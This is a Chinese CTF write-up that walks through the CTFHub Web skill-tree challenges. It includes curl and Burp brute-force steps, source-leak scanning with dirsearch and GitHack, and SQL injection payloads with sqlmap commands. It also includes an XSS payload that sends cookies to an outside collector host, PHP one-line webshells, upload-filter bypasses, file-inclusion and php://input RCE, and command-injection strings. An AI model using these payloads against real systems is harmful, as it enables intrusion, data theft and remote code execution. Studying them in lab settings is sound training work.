CTFHub-技能树-Web


最近一段时间一直在复习Web基础知识,光看生硬的知识点也无趣,就想着边刷题边复习吧,正好看到群里在推荐CTFHub这个平台,于是我就开始刷CTFHub技能树啦🎈

Web前置技能

HTTP协议

HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。 更多详细请看:HTTP教程

HTTP三个特征:无连接、媒体独立、无状态

HTTP九种请求方法:GET、POST 、HEAD、OPTIONS、PUT、PATCH、DELETE、TRACE、CONNECT

客户端HTTP请求消息:由请求行请求头部请求数据组成。

一般格式 示例

服务器HTTP响应消息:由状态行消息报头响应正文组成。

HTTP状态码分类

分类 分类描述
1** 信息,服务器收到请求,需要请求者继续执行操作
2** 成功,操作被成功接收并处理
3** 重定向,需要进一步的操作以完成请求
4** 客户端错误,请求包含语法错误或无法完成请求
5** 服务器错误,服务器在处理请求的过程中发生了错误

状态码详情请看:https://www.runoob.com/http/http-status-codes.html)

请求方式

题目考点:HTTP Method

打开链接是一段话

HTTP Method is GET
Use CTF**B Method,I will give you flag.
Hint If you got [HTTP Method Not Allowed] Error,you should requests index.php

根据题目意思,需要你用CTF**B 方法请求 index.php来获取flag

注意:HTTP Method 是可以自定义的,并且区分大小写.

方法一:使用curl

curl -v -X CTFHUB http://challenge-53da4bfe747dae4b.sandbox.ctfhub.com:10080/index.php

curl用法请参考:https://jwt1399.top/posts/49445.html#toc-heading-46

方法二:使用Burp抓包修改请求方式后,再发包

302跳转

题目考点:HTTP状态码

状态码3**,代表重定向

状态码 状态码英文名称 中文描述
302 Found 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI

更多状态码详情请看:https://www.runoob.com/http/http-status-codes.html)

用浏览器访问index.php发现会302跳转到 index.html

方法一:使用curl

curl -v CTFHUB http://challenge-45da4bfe747dae4b.sandbox.ctfhub.com:10080/index.php

方法二:使用Burp抓包

扩展知识:重定向和请求转发

HTTP中的重定向和请求转发的区别:转发是服务器行为,重定向是客户端行为。

转发过程:客户浏览器发送HTTP请求➡➡➡Web服务器接受请求➡➡➡调用内部方法在容器内部完成请求处理和转发动作➡➡➡将目标资源发送给客户

重定向过程:客户浏览器发送HTTP请求➡➡➡web服务器接受发送302状态码响应及对应新的location给客户浏览器➡➡➡客户浏览器发现是302响应,则自动再发送一个新的HTTP请求,请求url是新的location地址➡➡➡服务器根据此请求寻找资源并发送给客户

题目考点:Cookie欺骗、认证、伪造

cookie是由后端服务器端创建保存在客服端一种数据库结构。浏览器请求和后端服务端响应都会携带创建的cookie来回传输。cookie在传输时存储在请求头和响应头中。

打开链接,显示一句话

hello guest. only admin can get flag.

Burp 抓包发现Cookie:admin=0,把0改为1重新发包,就得到flag了

扩展知识:cookie和session

cookie和session的区别:cookie是存在于客户端的,而session是存在于服务器端的

cookie:web服务所使用的HTTP服务是无状态的。这就意味着,服务器无法分辨收到的请求是属于哪一个用户的,需要通过cookie来对用户的身份进行标识了,用户每次对服务器发起请求时,都带上自己独有的cookie,服务器通过读取cookie信息,识别用户。

session:session和cookie的作用有点类似,都是为了存储用户相关的信息。存储在服务器的数据会更加的安全,不容易被窃取。但存储在服务器也有一定的弊端,就是会占用服务器的资源。

基础认证

题目考点:HTTP 基础认证、爆破

在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

HTTP基本认证的过程:

请求:客户端发送HTTP Request给服务器

质询:因为request中没有包含Authorization header或者错误包含, 服务器会返回一个401 Unauthozied给客户端,并且在Response的 header “WWW-Authenticate“ 中添加信息。

授权:客户端输入用户名和密码并用base64加密后,放在Authorization header 中发送给服务器。

成功:服务器将Authorization header中的用户名密码取出,进行验证, 如果验证通过,将根据请求,发送资源给客户端

打开链接 点击click,需要用户名和密码

随便输个账号密码(账号jwt 密码 123),使用BurpSuite 抓包

请求:发送HTTP Request给服务器

质询:因为request中错误包含Authorization header, 服务器会返回一个401 Unauthozied给客户端,并且在Response的 header “WWW-Authenticate“ 中添加信息。

得到提示 Do u konw admin ?,于是猜测账号是 admin , 应该就是HTTP 请求头部的 Authorization 字段中的账号密码错误,需要我们爆破,题目也给了字典

Authorization: Basic and0OjEyMw==

Basic表示是「基础认证」, 后面的 and0OjEyMw== 用 base64 解码后是 jwt:123 , 也就是我们之前输入的账号和密码
根据提示,容易猜测用户名为 admin ,那么 Authorization 头字段的格式就应该为
Authorization: Basic base64(admin:密码)

授权:客户端输入用户名和密码并用base64加密后,放在Authorization header 中发送给服务器。

1.将报文发送到 Intruder, 将 Basic 后面 base64 部分添加为 payload position

2.在 有效载荷 选项卡下,选择 有效载荷集运行时文件, 然后在 有效载荷 中点击 文件选择 加载密码字典

3.有效负载处理->添加-> 添加前缀-> 输入 admin:

4.有效负载处理->添加-> 编码-> Base64编码

5.有效载荷编码 取消勾选的 URL编码这些字符, 不取消的话 base64 之后的 = 会被转成 %3d ,这样就爆不出密码

6.点击开始攻击 ,然后点击 状态 排序,看到状态码出现 200 的,即爆破成功

7.查看 Response 得到 flag

响应包源代码

题目考点:HTTP响应包源代码查看

1.打开题目,发现界面为一贪吃蛇小游戏界面,根据题目提示,应该与响应包有关

2.F12审查元素,直接在响应包中发现flag

信息泄露

目录遍历

打开网站,提示点击寻找flag,之后会跳转到flag_in_here这个目录,挨个对里面的目录进行寻找,就能找到flag

PHPINFO

打开题目之后提示让点击查看phpinfo,然后Ctrl+F搜索flag,就找到了

备份文件下载

网站备份

常见的网站源码备份文件名

list1 = [‘web’, ‘website’, ‘backup’, ‘back’, ‘www’, ‘wwwroot’, ‘temp’]

常见的网站源码备份文件后缀

list2 = [‘tar’, ‘tar.gz’, ‘zip’, ‘rar’]

#python3
import requests
# url1为被扫描地址,后不加‘/’
url1 = 'http://challenge-3d8be6a2b5195774.sandbox.ctfhub.com:10080'
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url2 = str(url1) + '/' + back
        print(back + '    ', end='')
        print(len(requests.get(url2).text))

对常见的备份文件进行扫描,发现存在www.zip,解压得到的txt中发现flag

bak文件

xxx.bak为备份文件

curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.index.php.bak

Vim缓存

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn

curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.index.php.swp

.DS_Store

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

方法一–用curl直接查看

curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.DS_Store --output a.txt

查看a.txt发现有个3ca5353db1943cc0e1e108d40d5fbb99.txt,查看该txt得到flag

方法二–利用工具解析

详情看我另外一篇文章:.DS_Store文件泄漏利用脚本

Git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。工具:GitHack

Git常见的利用:
①.git/index中会缓存git add的文件,这里在没有commit的情况下,也是存在的
②.git/refs/heads/master 记录了master的commit的hash,由此可以解析出这个commit的所有文件
③.git/logs/HEAD其中存储了git的log信息,可以找到历史的commit项
④.git/refs/stash 工作进度的临时保存
⑤.git/info/packs packs文件提取恢复

Log

1.使用dirsearch工具扫描网站目录,发现git泄露.git/logs/HEAD,在git中是存储历史记录的

python3 dirsearch.py -u "http://challenge-89c367ed8802f5e5.sandbox.ctfhub.com:10080" -e *

2.使用GitHack工具克隆目标源代码到本地

python GitHack.py http://challenge-89c367ed8802f5e5.sandbox.ctfhub.com:10080/.git/

3.执行git log查看commit历史记录 可以看到当前版本是remove flag,我们要的flag在add flag中

4.方法1:使用git diff直接与 add flag (e2f0) 这次提交进行差异比对

5.方法2:使用git reset --hard <file>直接切换到 add flag (e2f0) 这个版本

Stash

Stash:能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录。

1.使用dirsearch扫描网站目录,发现git泄露.git/refs/stash ,在git中是暂存区的意思

python3 dirsearch.py -u "http://challenge-ba5511373d69c409.sandbox.ctfhub.com:10080/" -e *

2.使用GitHack克隆目标源代码到本地

python GitHack.py http://challenge-ba5511373d69c409.sandbox.ctfhub.com:10080//.git/

3.方法一:使用git stash list 显示保存进度的列表,发现有 stash

使用git stash pop 恢复最新的进度到工作区,这个文件的内容就是 flag

4.方法二:查看 .git/refs/stash 找到 stash 对应的 hash,使用git diff b59e90 即可看到 flag

Index

还是先使用GitHack克隆目标源代码到本地,因为题目是index,所以考虑git的index暂存区文件,打开克隆好的文件夹发现flag

SVN泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。工具:dvcs-ripper

1.使用dirsearch扫描发现有 .svn/ 目录,确认是 .svn 泄露。

python3 dirsearch.py -u "http://challenge-8df627014df49067.san dbox.ctfhub.com:10080/" -e *

2.使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.

cd dvcs-ripper

perl rip-svn.pl -v -u http://challenge-8df627014df49067.sandbox.ctfhub.com:10080/.svn/

3.进入.svn/pristine/文件夹下, 在bf文件夹下发现xxx.svn-base源码文件,查看得到flag

HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。dvcs-ripper

1.使用dirsearch扫描发现有 .hg/ 目录,确认是 .hg 泄露。

python3 dirsearch.py -u "http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/" -e *

2.使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.

cd dvcs-ripper

perl rip-hg.pl -v -u http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/.hg/

3.查看.hg/store/fncache,得到flag 的文件名为flag_849825983.txt,直接访问即可得 flag

cat .hg/store/fncache

curl http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/flag_849825983.txt
或者
curl http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/.hg/store/data/flag_849825983.txt.i

参考:常见Web源码泄露总结

密码口令

弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

打开链接是一个后台登录页面,直接Burp抓包,猜测用户名为admin,使用Intruder模块进行密码爆破,得到密码为password,登录即可得到flag

默认口令

打开页面后,发现是亿邮邮件网关,经百度查询亿邮邮件网关系统默认口令,直接查到账户和密码,登录即可得到flag

SQL注入

整数型注入

#查看页面变化,判断sql注入类别【为数字型注入】
1

#确定字段数【字段数为2】
1 order by  1
1 order by  2
1 order by  3

#确定字段顺序
1 union select 1,2

#爆数据库名【sqli】
-1 union select 1,database()

#爆表名【news,flag】
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#爆列名【flag】
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

#爆值
-1 union select 1,flag from flag

字符型注入

#查看页面变化,判断sql注入类别【为字符型注入】
1

#确定字段数【字段数为2】
1' order by  1 #
1' order by  2 #
1' order by  3 #

#确定字段顺序
-1' union select 1,2 #

#爆数据库名【sqli】
-1' union select 1,database() #
或者将#改为--空格


#爆表名【news,flag】
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #


#爆列名【flag】
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

#爆值
-1' union select 1,flag from flag #

报错注入

#查看页面变化,判断sql注入类别【为数字型注入】
1

#确定字段数【字段数为2】

1 order by 1
1 order by 2
1 order by 3 报错

#获取数据库名【Duplicate entry 'sqli-1' for key 'group_key'】注意:有可能要多查几次才能成功
-1 union select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a

#获取表名【 Duplicate entry 'flag-1' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a
#因为Subquery returns more than 1 row,所以用limit来控制输出,连接函数也不管用

-1 union select count(*),concat_ws('-',(select concat(table_name) from information_schema.tables where table_schema='sqli'),floor(rand()*2))as a from information_schema.tables group by a

#获取列名【Duplicate entry 'flag-0' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select column_name from information_schema.columns where table_name='flag'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a

#爆值【Duplicate entry 'ctfhub{64d51cbcc3eb2513447c46282c921601c14da36b}-1' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select flag from flag limit 0,1),floor(rand()*2))as a from information_schema.tables group by a

布尔盲注

直接使用sqlmap工具跑

--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,B、T、E、U、S
--threads 10 :设置线程为10,运行速度会更快
--dbms:不仅可以指定数据库类型,还可以指定数据库版本
#查询数据库 #【sqli】
#technique使用参数B跑不出来,改成T才跑出来
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T --dbs --batch --threads 10 --dbms=mysql

#获取数据库中的表 #【flag】
python sqlmap.py  -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli  --tables --batch --threads 10 --dbms=mysql

#获取表中的字段名 #【flag】
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag --columns --batch --threads 10 --dbms=mysql

#获取字段信息 
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag -C flag --dump --batch --threads 10 --dbms=mysql

时间盲注

1 
1' 
1" 
#不管怎么样都不报错,不管对错一直显示一个固定的页面;

#判断注入点 
id=1 and sleep(3)
#页面响应延迟,判断存在时间延迟型注入 

执行命令后会有一定时间的等待,确定为时间盲注,直接用sqlmap跑

#查询数据库 #【security】 
python sqlmap.py -u http://challenge-54c933165918d571.sandbox.ctfhub.com:10080/?id=1 --technique T --dbs --batch --threads 10 

#获取数据库中的表 #【emails、referers、uagents、users】 
python sqlmap.py -u http://challenge-54c933165918d571.sandbox.ctfhub.com:10080/?id=1 --technique T -D security --tables --batch --threads 10 

#获取表中的字段名 #【id、username、password】 
python sqlmap.py -u http://challenge-54c933165918d571.sandbox.ctfhub.com:10080/?id=1 --technique T -D security -T users --columns --batch --threads 10 

#获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】 
python sqlmap.py -u http://challenge-54c933165918d571.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag -C flag --dump --batch --threads 10

手工时间盲注请参考:https://jwt1399.top/posts/32179.html#toc-heading-49

MySQL结构

这题就是普通的数字型注入

#查看页面变化,判断sql注入类别【为数字型注入】
1

#确定字段数【字段数为2】
1 order by  1
1 order by  2
1 order by  3

#确定字段顺序
-1 union select 1,2

#爆数据库名【sqli】
-1 union select 1,database()

#爆表名【ozvcareuri,news】
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#爆列名【exvgmxaubz】
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ozvcareuri'

#爆值
-1 union select 1,exvgmxaubz from ozvcareuri

过滤空格

这题过滤了空格,可用/**/绕过,或者使用sqlmap的--tamper "space2comment.py"绕过空格

#查看页面变化,判断sql注入类别【为数字型注入】
1

#确定字段数【字段数为2】
1 order by  1  显示Hacker,过滤空格用/**/绕过
1/**/order/**/by/**/1
1/**/order/**/by/**/2
1/**/order/**/by/**/3

#确定字段顺序
-1/**/union/**/select/**/1,2

#爆数据库名【sqli】
-1/**/union/**/select/**/1,database()

#爆表名【news,felpxwlqwt】
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

#爆列名【agabwtnany】
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns /**/where/**/table_name='felpxwlqwt'

#爆值
-1/**/union/**/select/**/1,agabwtnany/**/from/**/felpxwlqwt

Cookie注入

Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息

题目已经很明显提示是cookie注入,打开Burpsuite抓包

抓包之后可以看到cookie里面有id参数,我们尝试进行注入,果然可以成功注入

后续就是修改Cookie进行普通的数字型注入就可以了

#确定字段数【字段数为2】
Cookie: id=1 order by 1
Cookie: id=1 order by 2
Cookie: id=1 order by 3

#确定字段顺序
Cookie: id=-1 union select 1,2

#爆数据库名【sqli】
Cookie: id=-1 union select 1,database()

#爆表名【news,ztikrnhkas】
Cookie: id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#爆列名【rcdrtihzyr】
Cookie: id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ztikrnhkas'

#爆值
Cookie: id=-1 union select 1,rcdrtihzyr from ztikrnhkas

UA注入

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统操作系统/192)及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

题目已经很明显提示是User-Agent注入,打开Burpsuite抓包

抓包之后可以看到id=后面跟的是User-Agent

我们尝试进行注入,将User-Agent修改成数字1,可以看到成功返回结果

后续就是修改User-Agent进行普通的数字型注入就可以了

#确定字段数【字段数为2】
User-Agent: 1 order by 1
User-Agent: 1 order by 2
User-Agent: 1 order by 3

#确定字段顺序
User-Agent: -1 union select 1,2

#爆数据库名【sqli】
User-Agent: -1 union select 1,database()

#爆表名【news,loldzlscdv】
User-Agent: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#爆列名【vypsgberdj】
User-Agent: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='loldzlscdv'

#爆值
User-Agent: -1 union select 1,vypsgberdj from loldzlscdv

Refer注入

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

题目已经很明显提示是Referer注入,打开Burpsuite抓包

根据提示添加Referer=1,返回包里面出现了我们想看到的数据

后续就是修改Referer进行普通的数字型注入就可以了

#确定字段数【字段数为2】
Referer: 1 order by 1
Referer: 1 order by 2
Referer: 1 order by 3

#确定字段顺序
Referer: -1 union select 1,2

#爆数据库名【sqli】
Referer: -1 union select 1,database()

#爆表名【news,vanhpdcmvu】
Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#爆列名【crmbodscpv】
Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='crmbodscpv'

#爆值
Referer: -1 union select 1,crmbodscpv from vanhpdcmvu

XSS

反射型

XSS平台注册一个账号,创建一个读取Cookie的项目,用来接收Cookie

在name框中插入XSS平台获取Cookie的JS代码

<script src=http://xss.fbisb.com/ij7V></script>

或者在第二个框中插入如下,同样可以接收到Cookie

http://challenge-187067f754440341.sandbox.ctfhub.com:10080/?name=<script src=http://xss.fbisb.com/ij7V></script>

在XSS平台中获取到的Cookie中获取到flag

文件上传

无验证

进入题目显示无限制的上传,直接上传一句话木马<?php eval($_POST['cmd']); ?>,蚁剑连接,找到flag

前端验证

该题目提示为JS前端验证,前端JS代码会对文件后缀进行一次验证

解题思路:

方法1:修改JS,直接将php后缀名加上,在控制台运行,然后就可以成功上传php文件了

方法2:浏览器禁用JavaScript,JS不会验证文件后缀名,就可以直接上传了

方法3:BurpSuite抓包,先上传白名单文件(将带有一句话木马php文件的后缀名先改成png),再用burp抓包后修改回文件后缀为php

成功上传文件后,利用蚁剑连接获取flag即可

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('上传成功')</script>";
            echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "<script>alert('文件类型不匹配')</script>";
    }
}

查看源码,有很多黑名单,但是.htaccess还是没有过滤

解题思路:

构造.htaccess,来让服务器把我们上传的png当作php解析

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>    

上传.htaccess

上传1.jpg,因为为重写了文件解析规则,1.jpg将会被以php文件执行

然后直接连接蚁剑,即可获得flag

连接中国蚁剑 找到flag文件

MIME绕过

MIME原本是指多用途互联网邮件扩展类型。后来被用到了HTTP的Content-Type字段,称为互联网媒体类型。服务端通过检测HTTP响应包的Content-Type字段,判断上传文件的类型,来检测上传文件是否为黑名单 MIME-Type 相关知识点:链接

经测试,本节对数据包的MIME(Content-Type)进行了限定,只允许 image/jpeg、image/png、image/gif 图片内容数据传输。

解题思路:修改Content-Type,绕过Content-Type检测

上传1.php直接抓包,将Content-Type修改成image/jpeg

上传后蚁剑连接,即可获得flag

当然换一种思路也可以绕过,将恶意文件先修改后缀为白名单上传(例如1.jpg),Content-Type字段检测是jpg格式,然后再用Burpsuit修改回php后缀,也可以上传成功

00截断

在针对上传文件的检查中,很多应用都是通过判断文件名后缀的方法来验证文件的安全性的,但再某些时候,攻击者通过手动修改上传的POST包,添加%00,来截断某些函数对文件名的判断在许多语言的函数中,%00被认为终止符,当函数碰到%00,就会停止对后面的判断,00截断就是基于这种逻辑漏洞来绕过检测。

%00,0x00,/00都属于00截断

1.PHP 版本 < 5.3.4
2.php.ini 中 magic_quotes_gpc=off
满足上面的条件的时候php就是把%00当成结束符,后面的数据直接忽略

查看源码

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}

设置了一个白名单,只允许jpg, png, gif后缀,然后重新命名上传的文件,并转移到road参数传入的路径可以看到,des是最终的文件名,由$_GET[‘road’],/,随机数,日期,后缀名组成。

其中GET参数road是可控的,所以可以通过%00截断,达到$des = $_GET['road']的效果

解题思路:

先上传一个一句话木马的1.jpg,然后抓包,抓包后将road参数改为/var/www/html/upload/1.php%00

上传后蚁剑连接,即可获得flag

双写后缀

查看源码

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);

黑名单检测,$name = str_ireplace($blacklist, "", $name);将文件名中含有黑名单字段的替换为空

解题思路:利用burp抓包,对php进行双写

上传后蚁剑连接,即可获得flag

文件头检查

上传一些文件测试一哈

1.png             上传成功
1.php             文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件
1.php+修改MIME     文件错误

绕过了后缀,但是还是绕不开检测,那应该就是对文件内容检测了。

解题思路:

方法1:制作图片马,上传后抓包,再修改为php后缀发包,再蚁剑连接

方法2:上传一句话木马的1.png,然后抓包,最后在一句话前插入png/gif/jpg文件头,再发包

RCE

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

根据页面源码,通过REQUEST方法将命令赋值给cmd然后执行

查看当前目录下文件?cmd=system("ls");,没有获得有用信息

再查看哈根目录下文件?cmd=system("ls /");,看到了一个关于flag的文件

查看该文件?cmd=system("cat /flag_14906"),获得flag

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

//strpos() 函数查找字符串在另一字符串中第一次出现的位置。

根据源码,需要GET方式传入一个file,如果file不含有flag,就包含传入的file文件,但是并没有找到可以命令执行的语句,看一下shell.txt

<?php eval($_REQUEST['ctfhub']);?>

shell倒是可以进行命令执行,那么解题思路就出来了,我们把shell包含进index.php,再进行命令执行就可以了,shell的ctfhub是通过REQUEST方式传入,而REQUEST= POST/GET,因此就有两种解法ctfhub以GET或POST传入

方法一:ctfhub参数POST方式传入

方法二:ctfhub参数GET方式传入

?file=shell.txt&ctfhub=system("ls /")
?file=shell.txt&ctfhub=system("cat /flag")

php://input

php://input是个可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。allow_url_fopen=On,allow_url_include=On才可使用,在CTF中经常使用php://filter(用于读取源码)和php://input(用于执行php代码)

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

根据源码,必须使用php伪协议,查看phpinfo,发现allow_url_fopen=Onallow_url_include=On,可以使用php://input来执行命令

这里使用Hackbar时无响应,使用BurpSuite可以正常回显。
GET:?file=php://input
POST:<?php system("ls /"); ?>

GET:?file=php://input
POST:<?php system("cat /flag_4424"); ?>

CTF中常利用php伪协议:

php伪协议

参考:PHP伪协议总结php伪协议实现命令执行的七种姿势

远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

解题方法同上,用php伪协议

读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

这里的源码跟上面php://input那道题一样,但是测试发现php://input用不了,但是源码又显示必须使用php伪协议,那就可以使用php://filter直接读取文件内容

Payload:

?file=php://filter/resource=/flag
或者
?file=php://filter/read=convert.base64-encode/resource=/flag  (还需将结果base64解码)

命令注入

命令拼接符

windows

  1. “|” 管道符,前面命令标准输出,后面命令的标准输入

  2. “&” commandA & commandB 先运行命令A然后运行命令B

  3. “||” commandA || commandB 运行命令A,如果失败则运行命令B

  4. “&&” commandA && commandB 运行命令A,如果成功则运行命令B

    linux

  5. “|” 管道符,前面命令标准输出,后面命令的标准输入

  6. “&” commandA & commandB 先运行命令A然后运行命令B

  7. “||” commandA || commandB 运行命令A,如果失败则运行命令B

  8. “&&” commandA && commandB 运行命令A,如果成功则运行命令B

  9. “;” commandA;commandB执行完A执行B

  10. “%0a” 换行符

  11. “%0d” 回车符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

直接拼接了输入的ip,那我们可以直接拼接恶意命令进行执行。

Payload:

127.0.0.1&ls
运行后可以看到一个php文件

127.0.0.1&cat 226611301420008.php
运行后查看源码得到flag

127.0.0.1&cat 226611301420008.php |base64
或者利用管道符base64编码输出,页面可以直接看到输出内容,再base64解密

过滤cat

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {//过滤cat
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);// 执行cmd,把结果输出到res
    } else {
        $res = $m;
    }
}
if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

跟上题差不多,只是过滤了cat,想办法进行绕过

敏感字符过滤绕过

过滤ls、cat、flag等

1、利用变量绕过

a=l;b=s;$a$b
a=ca;b=t;$a$b

2、编码绕过

base64

root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

